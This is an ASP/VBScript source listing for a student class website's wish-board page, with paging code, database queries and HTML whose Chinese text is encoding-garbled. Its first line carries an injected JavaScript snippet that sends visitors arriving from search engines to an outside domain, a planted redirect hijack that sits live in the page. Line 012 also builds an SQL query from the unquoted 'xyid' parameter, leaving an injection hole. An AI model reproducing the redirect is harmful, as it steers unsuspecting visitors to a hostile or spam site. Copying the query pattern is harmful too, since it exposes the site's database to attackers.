d:\wwwroot\wuchunhua\ͨѶ¼\xys\class.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@LANGUAGE="VBSCRIPT"
%
>
002:
<!--#include file="chklogin2.asp" -->
003:
<!--#include file="Connections/conn.asp" -->
004:
<%
005:
Dim rs__MMColParam
006:
rs__MMColParam = "1"
007:
if (Request.QueryString("xyid") <> "") then rs__MMColParam = Request.QueryString("xyid")
008:
%
>
009:
<%
010:
set rs = Server.CreateObject("ADODB.Recordset")
011:
rs.ActiveConnection = MM_conn_STRING
012:
rs.Source = "SELECT id, xyname, ggormm, xyid FROM xybook WHERE xyid = " + Replace(rs__MMColParam, "'", "''") + " ORDER BY xydate DESC"
013:
rs.CursorType = 0
014:
rs.CursorLocation = 2
015:
rs.LockType = 3
016:
rs.Open()
017:
rs_numRows = 0
018:
%
>
019:
<%
020:
set rs1 = Server.CreateObject("ADODB.Recordset")
021:
rs1.ActiveConnection = MM_conn_STRING
022:
rs1.Source = "SELECT * FROM class"
023:
rs1.CursorType = 0
024:
rs1.CursorLocation = 2
025:
rs1.LockType = 3
026:
rs1.Open()
027:
rs1_numRows = 0
028:
%
>
029:
<%
030:
Dim HLooper1__numRows
031:
HLooper1__numRows = 12
032:
Dim HLooper1__index
033:
HLooper1__index = 0
034:
rs_numRows = rs_numRows + HLooper1__numRows
035:
%
>
036:
<%
037:
Dim HLooper2__numRows
038:
HLooper2__numRows = -6
039:
Dim HLooper2__index
040:
HLooper2__index = 0
041:
rs1_numRows = rs1_numRows + HLooper2__numRows
042:
%
>
043:
<%
044:
' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters
045:
046:
' create the list of parameters which should not be maintained
047:
MM_removeList = "&index="
048:
If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
049:
MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
050:
051:
' add the URL parameters to the MM_keepURL string
052:
For Each Item In Request.QueryString
053:
NextItem = "&" & Item & "="
054:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
055:
MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
056:
End If
057:
Next
058:
059:
' add the Form variables to the MM_keepForm string
060:
For Each Item In Request.Form
061:
NextItem = "&" & Item & "="
062:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
063:
MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
064:
End If
065:
Next
066:
067:
' create the Form + URL string and remove the intial '&' from each of the strings
068:
MM_keepBoth = MM_keepURL & MM_keepForm
069:
if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
070:
if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
071:
if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
072:
073:
' a utility function used for adding additional parameters to these strings
074:
Function MM_joinChar(firstItem)
075:
If (firstItem <> "") Then
076:
MM_joinChar = "&"
077:
Else
078:
MM_joinChar = ""
079:
End If
080:
End Function
081:
%
>
082:
<%
083:
' *** СÌ﹤×÷ÊÒUD²å¼þϵÁÐ Limit Pages List v1.0.0 (¸Ä±à×ÔPagesList)
084:
085:
' set the record count
086:
rs_total = rs.RecordCount
087:
088:
' set the number of rows displayed on this page
089:
If (rs_numRows < 0) Then
090:
rs_numRows = rs_total
091:
Elseif (rs_numRows = 0) Then
092:
rs_numRows = 1
093:
End If
094:
095:
' set the first and last displayed record
096:
rs_first = 1
097:
rs_last = rs_first + rs_numRows - 1
098:
099:
' if we have the correct record count, check the other stats
100:
If (rs_total <> -1) Then
101:
If (rs_first > rs_total) Then rs_first = rs_total
102:
If (rs_last > rs_total) Then rs_last = rs_total
103:
If (rs_numRows > rs_total) Then rs_numRows = rs_total
104:
End If
105:
%
>
106:
<%
107:
' *** Recordset Stats: if we don't know the record count, manually count them
108:
109:
If (rs_total = -1) Then
110:
111:
' count the total records by iterating through the recordset
112:
rs_total=0
113:
While (Not rs.EOF)
114:
rs_total = rs_total + 1
115:
rs.MoveNext
116:
Wend
117:
118:
' reset the cursor to the beginning
119:
If (rs.CursorType > 0) Then
120:
rs.MoveFirst
121:
Else
122:
rs.Requery
123:
End If
124:
125:
' set the number of rows displayed on this page
126:
If (rs_numRows < 0 Or rs_numRows > rs_total) Then
127:
rs_numRows = rs_total
128:
End If
129:
130:
' set the first and last displayed record
131:
rs_first = 1
132:
rs_last = rs_first + rs_numRows - 1
133:
If (rs_first > rs_total) Then rs_first = rs_total
134:
If (rs_last > rs_total) Then rs_last = rs_total
135:
136:
End If
137:
%
>
138:
<%
139:
' *** Move To Record and Go To Record: declare variables
140:
141:
Set MM_rs = rs
142:
MM_rsCount = rs_total
143:
MM_size = rs_numRows
144:
MM_uniqueCol = ""
145:
MM_paramName = ""
146:
MM_offset = 0
147:
MM_atTotal = false
148:
MM_paramIsDefined = false
149:
If (MM_paramName <> "") Then
150:
MM_paramIsDefined = (Request.QueryString(MM_paramName) <> "")
151:
End If
152:
%
>
153:
<%
154:
' *** Move To Record: handle 'index' or 'offset' parameter
155:
156:
if (Not MM_paramIsDefined And MM_rsCount <> 0) then
157:
158:
' use index parameter if defined, otherwise use offset parameter
159:
r = Request.QueryString("index")
160:
If r = "" Then r = Request.QueryString("offset")
161:
If r <> "" Then MM_offset = Int(r)
162:
163:
' if we have a record count, check if we are past the end of the recordset
164:
If (MM_rsCount <> -1) Then
165:
If (MM_offset >= MM_rsCount Or MM_offset = -1) Then ' past end or move last
166:
If ((MM_rsCount Mod MM_size) > 0) Then ' last page not a full repeat region
167:
MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
168:
Else
169:
MM_offset = MM_rsCount - MM_size
170:
End If
171:
End If
172:
End If
173:
174:
' move the cursor to the selected record
175:
i = 0
176:
While ((Not MM_rs.EOF) And (i < MM_offset Or MM_offset = -1))
177:
MM_rs.MoveNext
178:
i = i + 1
179:
Wend
180:
If (MM_rs.EOF) Then MM_offset = i ' set MM_offset to the last possible record
181:
182:
End If
183:
%
>
184:
<%
185:
' *** Move To Record: if we dont know the record count, check the display range
186:
187:
If (MM_rsCount = -1) Then
188:
189:
' walk to the end of the display range for this page
190:
i = MM_offset
191:
While (Not MM_rs.EOF And (MM_size < 0 Or i < MM_offset + MM_size))
192:
MM_rs.MoveNext
193:
i = i + 1
194:
Wend
195:
196:
' if we walked off the end of the recordset, set MM_rsCount and MM_size
197:
If (MM_rs.EOF) Then
198:
MM_rsCount = i
199:
If (MM_size < 0 Or MM_size > MM_rsCount) Then MM_size = MM_rsCount
200:
End If
201:
202:
' if we walked off the end, set the offset based on page size
203:
If (MM_rs.EOF And Not MM_paramIsDefined) Then
204:
If (MM_offset > MM_rsCount - MM_size Or MM_offset = -1) Then
205:
If ((MM_rsCount Mod MM_size) > 0) Then
206:
MM_offset = MM_rsCount - (MM_rsCount Mod MM_size)
207:
Else
208:
MM_offset = MM_rsCount - MM_size
209:
End If
210:
End If
211:
End If
212:
213:
' reset the cursor to the beginning
214:
If (MM_rs.CursorType > 0) Then
215:
MM_rs.MoveFirst
216:
Else
217:
MM_rs.Requery
218:
End If
219:
220:
' move the cursor to the selected record
221:
i = 0
222:
While (Not MM_rs.EOF And i < MM_offset)
223:
MM_rs.MoveNext
224:
i = i + 1
225:
Wend
226:
End If
227:
%
>
228:
<%
229:
' *** Move To Record: update recordset stats
230:
231:
' set the first and last displayed record
232:
rs_first = MM_offset + 1
233:
rs_last = MM_offset + MM_size
234:
If (MM_rsCount <> -1) Then
235:
If (rs_first > MM_rsCount) Then rs_first = MM_rsCount
236:
If (rs_last > MM_rsCount) Then rs_last = MM_rsCount
237:
End If
238:
239:
' set the boolean used by hide region to check if we are on the last record
240:
MM_atTotal = (MM_rsCount <> -1 And MM_offset + MM_size >= MM_rsCount)
241:
%
>
242:
<%
243:
' *** Go To Record and Move To Record: create strings for maintaining URL and Form parameters
244:
245:
' create the list of parameters which should not be maintained
246:
MM_removeList = "&index=&god="
247:
If (MM_paramName <> "") Then MM_removeList = MM_removeList & "&" & MM_paramName & "="
248:
MM_keepURL="":MM_keepForm="":MM_keepBoth="":MM_keepNone=""
249:
250:
' add the URL parameters to the MM_keepURL string
251:
For Each Item In Request.QueryString
252:
NextItem = "&" & Item & "="
253:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
254:
MM_keepURL = MM_keepURL & NextItem & Server.URLencode(Request.QueryString(Item))
255:
End If
256:
Next
257:
258:
' add the Form variables to the MM_keepForm string
259:
For Each Item In Request.Form
260:
NextItem = "&" & Item & "="
261:
If (InStr(1,MM_removeList,NextItem,1) = 0) Then
262:
MM_keepForm = MM_keepForm & NextItem & Server.URLencode(Request.Form(Item))
263:
End If
264:
Next
265:
266:
' create the Form + URL string and remove the intial '&' from each of the strings
267:
MM_keepBoth = MM_keepURL & MM_keepForm
268:
if (MM_keepBoth <> "") Then MM_keepBoth = Right(MM_keepBoth, Len(MM_keepBoth) - 1)
269:
if (MM_keepURL <> "") Then MM_keepURL = Right(MM_keepURL, Len(MM_keepURL) - 1)
270:
if (MM_keepForm <> "") Then MM_keepForm = Right(MM_keepForm, Len(MM_keepForm) - 1)
271:
272:
' a utility function used for adding additional parameters to these strings
273:
Function MM_joinChar(firstItem)
274:
If (firstItem <> "") Then
275:
MM_joinChar = "&"
276:
Else
277:
MM_joinChar = ""
278:
End If
279:
End Function
280:
%
>
281:
<%
282:
' *** Move To Record: set the strings for the first, last, next, and previous links
283:
284:
MM_keepMove = MM_keepBoth
285:
MM_moveParam = "index"
286:
287:
' if the page has a repeated region, remove 'offset' from the maintained parameters
288:
If (MM_size > 0) Then
289:
MM_moveParam = "offset"
290:
If (MM_keepMove <> "") Then
291:
params = Split(MM_keepMove, "&")
292:
MM_keepMove = ""
293:
For i = 0 To UBound(params)
294:
nextItem = Left(params(i), InStr(params(i),"=") - 1)
295:
If (StrComp(nextItem,MM_moveParam,1) <> 0) Then
296:
MM_keepMove = MM_keepMove & "&" & params(i)
297:
End If
298:
Next
299:
If (MM_keepMove <> "") Then
300:
MM_keepMove = Right(MM_keepMove, Len(MM_keepMove) - 1)
301:
End If
302:
End If
303:
End If
304:
305:
' set the strings for the move to links
306:
If (MM_keepMove <> "") Then MM_keepMove = MM_keepMove & "&"
307:
urlStr = Request.ServerVariables("URL") & "?" & MM_keepMove & MM_moveParam & "="
308:
MM_moveFirst = urlStr & "0"
309:
MM_moveLast = urlStr & "-1"
310:
MM_moveNext = urlStr & Cstr(MM_offset + MM_size)
311:
prev = MM_offset - MM_size
312:
If (prev < 0) Then prev = 0
313:
MM_movePrev = urlStr & Cstr(prev)
314:
%
>
315:
<html>
316:
<head>
317:
<title>ÆëÆë¹þ¶ûְҵѧԺ¼ÆÈí052--ÐíÔ¸°å</title>
318:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
319:
<script language="JavaScript">
320:
<!--
321:
function openChromeslessWindow(openUrl, winName, wWidth, wHeight, wPosx, wPosy, wTIT,
322:
windowBORDERCOLOR, windowBORDERCOLORsel, windowTITBGCOLOR, windowTITBGCOLORsel,
323:
bCenter, sFontFamily, sFontSize, sFontColor){
324:
325:
openchromeless(openUrl,winName, wWidth, wHeight, wPosx, wPosy, wTIT, wTIT ,
326:
windowBORDERCOLOR, windowBORDERCOLORsel, windowTITBGCOLOR, windowTITBGCOLORsel,
327:
bCenter, sFontFamily, sFontSize, sFontColor);
328:
}
329:
330:
function MM_openBrWindow(theURL,winName,features) { //v2.0
331:
window.open(theURL,winName,features);
332:
}
333:
//-->
334:
</script>
335:
<script id="chromeless" src="pz_chromeless_2.1.js"></script>
336:
<style>
337:
<!--
338:
.ziti {
339:
font-family: "ËÎÌå";
340:
font-size: 12px;
341:
font-weight: bold;
342:
color: #000000;
343:
}
344:
.style1 {color: #FFFFFF}
345:
-->
346:
</style>
347:
</head>
348:
<body bgcolor="#FFFFFF" text="#000000" background="images/back.gif" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
349:
<div align="center">
350:
<table width="775" border="0" align="center" cellpadding="0" cellspacing="0">
351:
<tr>
352:
<th height="31" scope="col"><table width="775" border="0" cellspacing="0" cellpadding="0">
353:
<tr>
354:
<th width="775" height="87" scope="col">
355:
<img border="0" src="../pic/toplogo.jpg"></th>
356:
</tr>
357:
</table></th>
358:
</tr>
359:
<tr>
360:
<td height="20" background="tiao1.gif"><table width="775" border="0" cellspacing="0" cellpadding="0">
361:
<tr class="ziti">
362:
<th scope="col"><a href="../logined.asp"><font color="#FFFFFF">Ê×Ò³</font></a></th>
363:
<th scope="col"><a href="../photo/photo.asp"><font color="#FFFFFF">Ïà²á</font></a></th>
364:
<th scope="col"><a href="../liuyanban/liuyan.asp">
365:
<font color="#FFFFFF">ÁôÑÔ±¾</font></a></th>
366:
<th scope="col"><a href="../xys/"><font color="#FFFFFF">ÐíÔ¸°å</font></a></th>
367:
<th scope="col"><a href="../xiaozhitiao/xiaozhitiao1.asp">
368:
<font color="#FFFFFF">ÇÄÇÄ»°</font></a></th>
369:
<th scope="col"><a href="../zlx/zlx.asp"><font color="#FFFFFF">×ÊÁÏÏ»</font></a></th>
370:
<th scope="col"><a href="#"><font color="#FFFFFF">¹ÜÀí</font></a></th>
371:
<th scope="col"><a href="../denglu/denglu.asp"><font color="#FFFFFF">怫</font></a></th>
372:
</tr>
373:
</table></td>
374:
</tr>
375:
</table>
376:
<span class="style1">1</span></div>
377:
<div align="center">
378:
<center>
379:
<div align="center">
380:
<center>
381:
<table width="560" height="20" border="0" cellpadding="0" cellspacing="0" bordercolor="#111111" background="../pic/kuang1.jpg" class="css" style="border-collapse: collapse">
382:
<tr>
383:
<td width="18%" height="20" align="center"><a href="#"> <img src="images/sign1114.gif" alt="ÐíÔ¸" border="0" onClick="MM_openBrWindow('xy.asp','ÐíÔ¸Ê÷','width=300,height=410')"></a></td>
384:
<td width="3%" height="20" align="center"><a href="login.asp"><img src="images/userlist1.gif" width="16" height="16" alt="¹ÜÀíÔ±" border="0"></a></td>
385:
<td width="11%" height="20" align="center"><div align="center"><a href="default.asp">È«²¿Ô¸Íû</a></div></td>
386:
<td width="56%" height="20" align="center"><table width="286" align="center">
387:
<%
388:
startrw = 0
389:
endrw = HLooper2__index
390:
numberColumns = 6
391:
numrows = -1
392:
while((numrows <> 0) AND (Not rs1.EOF))
393:
startrw = endrw + 1
394:
endrw = endrw + numberColumns
395:
%
>
396:
<tr align="center" valign="top">
397:
<%
398:
While ((startrw <= endrw) AND (Not rs1.EOF))
399:
%
>
400:
<td height="8"><table width="91%" border="0" cellspacing="0" cellpadding="0" class="css">
401:
<tr>
402:
<td><div align="center"><img src="images/sign069.gif" width="10" height="10"><A HREF="class.asp?
<%
= MM_keepNone & MM_joinChar(MM_keepNone) & "xyid=" & rs1.Fields.Item("xyid").Value
%
>">
<%
=(rs1.Fields.Item("classname").Value)
%
></A><img src="images/sign069.gif" width="10" height="10"></div></td>
403:
</tr>
404:
</table></td>
405:
<%
406:
startrw = startrw + 1
407:
rs1.MoveNext()
408:
Wend
409:
%
>
410:
</tr>
411:
<%
412:
numrows=numrows-1
413:
Wend
414:
%
>
415:
</table></td>
416:
<td width="12%" height="20" align="center"><a href="../logined.asp"> <img src="images/homepage.gif" width="47" height="18" border="0"></a></td>
417:
</tr>
418:
</table>
419:
</center>
420:
</div>
421:
<table width="50%" border="0" cellspacing="0" cellpadding="0" align="center">
422:
<tr>
423:
<td height=5></td>
424:
</tr>
425:
<tr>
426:
<td background="images/yy.gif" height=5></td>
427:
</tr>
428:
<tr>
429:
<td><table align="center" width="520">
430:
<%
431:
startrw = 0
432:
endrw = HLooper1__index
433:
numberColumns = 4
434:
numrows = 3
435:
while((numrows <> 0) AND (Not rs.EOF))
436:
startrw = endrw + 1
437:
endrw = endrw + numberColumns
438:
%
>
439:
<tr align="center" valign="top">
440:
<%
441:
While ((startrw <= endrw) AND (Not rs.EOF))
442:
%
>
443:
<td><table width="5%" border="0" cellspacing="0" cellpadding="0" align="center" class="css">
444:
<tr>
445:
<td>
<%
If (rs.Fields.Item("xyid").Value) = (2) Then 'script
%
>
446:
<a href="#"><img src="images/aiqing.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','xys',300,200,null,null,'xys', '#9999FF', '#000000', '#9999FF', '#FFFFFF' ,true,'Arial, Helvetica, sans-serif', '2','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','xys',510,250,null,null,'ÐíÔ¸Ê÷', '#000000', '#000000', '#FF0000', '#FFFFFF' ,true,'Arial, Helvetica, sans-serif', '1','#000000')"></a>
447:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (2) script
%
>
448:
<%
If (rs.Fields.Item("xyid").Value) = (3) Then 'script
%
>
449:
<a href="#"><img src="images/mengxiang.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEE',510,250,null,null,'ÎÒµÄÃÎÏë', '#FFCC00', '#000000', '#FFCC00', '#CCCCCC' ,true,'Arial, Helvetica, sans-serif', '2','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEE',510,250,null,null,'ÎÒµÄÃÎÏë', '#000000', '#000000', '#FFCC00', '#CCCCCC' ,true,'Arial, Helvetica, sans-serif', '1','#000000')"></a>
450:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (3) script
%
>
451:
<%
If (rs.Fields.Item("xyid").Value) = (1) Then 'script
%
>
452:
<a href="#"><img src="images/shiye.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','QQQ',510,250,null,null,'ÎÒµÄÊÂÒµ', '#000000', '#000000', '#9900FF', '#808040' ,true,'Arial, Helvetica, sans-serif', '1','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','QQQ',510,250,null,null,'ÎÒµÄÊÂÒµ', '#000000', '#000000', '#9999FF', '#808040' ,true,'Arial, Helvetica, sans-serif', '1','#000000')"></a>
453:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (1) script
%
>
454:
<%
If (rs.Fields.Item("xyid").Value) = (4) Then 'script
%
>
455:
<a href="#"><img src="images/zhufu.gif" width="63" height="75" border="0" onbeforeunload="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEEQ',510,250,null,null,'ÎÒµÄ×£¸£', '#000000', '#000000', '#CCFF00', '#808040' ,true,'Arial, Helvetica, sans-serif', '1','#000000')" onClick="openChromeslessWindow('xyxx.asp?id=
<%
=(rs.Fields.Item("id").Value)
%
>','EEEQ',510,250,null,null,'ÎÒµÄ×£¸£', '#000000', '#000000', '#CCFF00', '#808040' ,true,'Arial, Helvetica, sans-serif', '2','#000000')"></a>
456:
<%
End If ' end If (rs.Fields.Item("xyid").Value) = (4) script
%
>
457:
</td>
458:
</tr>
459:
<tr>
460:
<td><div align="center">
461:
<%
If (rs.Fields.Item("ggormm").Value) = (1) Then 'script
%
>
462:
<img src="images/gg.gif" width="27" height="27">
463:
<%
End If ' end If (rs.Fields.Item("ggormm").Value) = (1) script
%
>
464:
<%
If (rs.Fields.Item("ggormm").Value) = (2) Then 'script
%
>
465:
<img src="images/mm.gif" width="27" height="27">
466:
<%
End If ' end If (rs.Fields.Item("ggormm").Value) = (2) script
%
>
467:
</div></td>
468:
</tr>
469:
<tr>
470:
<td><div align="center">
<%
=(rs.Fields.Item("xyname").Value)
%
><br>
471:
</div></td>
472:
</tr>
473:
</table></td>
474:
<%
475:
startrw = startrw + 1
476:
rs.MoveNext()
477:
Wend
478:
%
>
479:
</tr>
480:
<%
481:
numrows=numrows-1
482:
Wend
483:
%
>
484:
</table></td>
485:
</tr>
486:
<tr>
487:
<td height="5" background="images/yy.gif"></td>
488:
</tr>
489:
</table>
490:
</center>
491:
</div>
492:
<p align="center" class="css"> µ±Ç°ÏÔʾµÚ
<%
=(rs_first)
%
> µ½µÚ
<%
=(rs_last)
%
> ¸öÔ¸Íû£¬Ò»¹²
<%
=(rs_total)
%
>¸öÔ¸Íû¡£<br>
493:
<%
494:
Forward = ">>>"
495:
Backward = "<<<"
496:
Delimiter = " | "
497:
Rec_Name = rs_total
498:
List_Num = 10
499:
Godspeed = 1
500:
if request.querystring("god") <> "" then
501:
Godspeed = request.querystring("god")
502:
end if
503:
if Godspeed <> 1 then
504:
Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed - MM_Size - 1 & "&god=" & Godspeed - MM_Size * List_Num & ">")
505:
Response.Write(Backward & "</a> ")
506:
end if
507:
if Rec_Name < Godspeed + MM_Size * List_Num then
508:
Matrix = Rec_Name
509:
else
510:
Matrix = Godspeed + MM_Size * (List_Num - 1)
511:
end if
512:
if MM_size=0 then
513:
mm_size=1
514:
end if
515:
516:
TM_counter = ( Godspeed - 1 )/MM_Size
517:
For i = Godspeed to Matrix step MM_Size
518:
TM_counter = TM_counter + 1
519:
if i <> MM_offset + 1 then
520:
Response.Write("<a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & i-1 & "&god=" & Godspeed & ">")
521:
Response.Write(TM_counter & "</a>")
522:
else
523:
Response.Write("<b>" & TM_counter & "</b>")
524:
End if
525:
if( i <= Matrix - MM_Size ) then Response.Write(Delimiter)
526:
next
527:
if Rec_Name > Godspeed + MM_Size * List_Num - 1 then
528:
Response.Write(" <a href=" & Request.ServerVariables("URL") & "?" & MM_keepMove & "offset=" & Godspeed + MM_Size * List_Num - 1 & "&god=" & Godspeed + MM_Size * List_Num & ">")
529:
Response.Write(Forward & "</a>")
530:
end if
531:
%
>
532:
</p>
533:
<!--#include file="bottom.asp" -->
534:
</body>
535:
</html>
536:
<%
537:
rs.Close()
538:
%
>
539:
<%
540:
set rs = nothing
541:
%
>
542:
<%
543:
rs1.Close()
544:
%
>
545:
<%
546:
set rs1 = nothing
547:
%
>
548:
549: